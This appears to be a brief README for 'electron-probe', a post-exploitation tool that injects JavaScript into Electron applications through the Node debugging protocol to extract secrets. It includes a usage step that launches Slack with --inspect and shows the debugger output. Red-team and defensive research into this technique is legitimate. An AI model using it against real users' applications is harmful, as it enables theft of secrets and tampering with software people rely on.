electron-probe

Electron-Probe leverages the Node variant of the Chrome Debugging Protocol to execute JavaScript payloads inside of target Electron applications. This allows an attacker to extract secrets and manipulate the application as part of their post-exploitation workflow.

Usage

Launch the Electron app target with the --inspect flag to start the V8 Inspector:

$ /Applications/Slack.app/Contents/MacOS/Slack --inspect

Debugger listening on ws://127.0.0.1:9229/b84df45f-b494-4e18-b77c-d8ed8f34c44d
